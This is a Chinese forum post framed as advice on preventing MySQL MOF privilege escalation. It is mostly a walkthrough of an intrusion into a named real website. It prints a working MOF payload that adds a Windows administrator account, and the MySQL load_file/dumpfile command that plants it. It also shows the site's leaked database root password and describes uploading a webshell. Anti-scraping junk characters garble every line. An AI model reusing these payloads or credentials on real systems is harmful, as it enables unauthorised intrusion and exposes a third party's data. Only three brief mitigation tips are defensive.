Mysql mof扩展漏洞防范方法
1 Z) m. C) {* l! a
4 M( U' d a7 n) X网上公开的一些利用代码:
: s8 t* S2 T, D# v# h0 e. m% g) T1 Q
#pragma namespace(“\\\\.\\root\\subscription”)# C. ?4 Q/ h+ R$ K$ z! {7 w* b
) D+ e3 [5 i" V( g$ [& S, t5 N) B8 M1 j' `instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
' J% l( r# m9 Q4 R, ?$ h$ f, x; q3 N/ L2 e+ I# g
2 x9 U2 |2 [; I7 O
# m9 s! R6 ?: J1 y, \# G$ G4 r; P 4 `# l8 m6 C0 y- @7 k" E* Z
+ y# M# k% K3 a; d9 [
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
# Z3 n$ R8 _9 j" q" a+ N从上面代码来看得出解决办法:
G& M# Z }! i8 X! M7 o) l1 J- B+ t5 N5 m: N: N
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
: i+ W" U: {- J# \* P
+ q3 `2 s6 e0 T& q7 y6 Y; z2、禁止使用”WScript.Shel”组件
% t4 V6 c( r* \' M! m a3 Q
5 X4 B* @8 ]- u+ h7 o2 m3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER/ K# F: [' ~9 `1 t' E/ J
0 G& g6 g* y: v o( K7 j+ U
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
% @* G: D9 N* d$ w5 B2 \+ j5 T4 \# `! f/ t) @1 v' u+ Y
事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
6 z, N5 ~! }- S% @& Z' `
) {& o8 {4 J9 p. ?, Q+ p但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
9 L) I4 A9 I; }
! X5 T! g: S$ U- c看懂了后就开始练手吧
+ j" I/ j) m* u: S% a5 I; z; `5 t! T3 D7 B. _* @- V6 p ?. J
http://www.webbmw.com/config/config_ucenter.php 一句话 a6 e2 k- J& t5 U4 [$ d6 Y
( S j% i4 O4 N. e5 F& h# t) x
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
1 M5 Z: e2 Q: v1 q6 u. m6 Q5 q2 \% d: ~, e* h- B# a
于是直接用菜刀开搞/ W' {3 G: I% r0 v
! [+ L: E- v+ t! C7 `0 h P; f( \
上马先
; [+ B' w3 V7 Y) C, {! J4 w8 Y* f( \$ ]7 _' q, ^! S
既然有了那些账号 之类的 于是我们就执行吧…….5 l, M- \4 X( y6 \
+ t) ?: F" w- e: q
小小的说下) y a6 a1 |& q1 I5 X5 B7 C
# D' j2 d1 b+ e8 `! C- T0 k* O# _/ V
在这里第1次执行未成功 原因未知
3 V4 Q5 p- y6 A6 n3 u
/ \+ S; M8 w. R& M( u9 n9 C我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
% ]$ u* }3 A5 w- d. C5 ~
' Z6 Y _! E' d7 X% F#pragma namespace(“\\\\.\\root\\subscription”)6 G9 [' S" g" w
' D, M# e2 P- P7 i) L4 C/ A: ninstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };8 u0 l; W2 F+ v, ~: n% ?/ v( m
5 a! N7 p3 X$ g我是将文件放到C:\WINDOWS\temp\1.mof
0 W0 h6 f, v6 F/ |. a. U6 n* C- l: N. r; \0 J0 G0 v
所以我们就改下执行的代码& x2 u7 U* A9 u1 E. Q* E
# [1 p% I# g$ \ G' Y0 `7 Cselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;$ |# Q; E, C6 _& }
+ j1 s2 N% J$ T& g# J, D% }) @& j U: u
0 V: l. d* g# L% B! `8 Y' u8 V# h9 w但是 你会发现账号还是没有躺在那里。。0 l' e' D% q- j6 N# l$ W
! D: f) s# [2 W7 h6 m. x# _( }4 B
于是我就感觉蛋疼( v, n" _; o+ \
7 c( |/ W# v- R1 K就去一个一个去执行 但是执行到第2个 mysql时就成功了………
( k t7 Y4 e% E8 H5 M8 q6 X+ W6 m5 [+ H7 D+ x" f
+ L5 z6 P! {. Q% N, y! D( V2 g! O" k
但是其他库均不成功…
3 l+ e* S4 t S( F/ F
1 E2 o0 l8 ^9 U3 n) r9 N( K我就很费解呀 到底为什么不成功求大牛解答…1 Q$ Z+ U1 ]' O
: Q" J6 x; {# A9 @+ S) i' V
% B: Q/ g! \& N# C! N4 D5 p& F
* g' ^" \: l- c |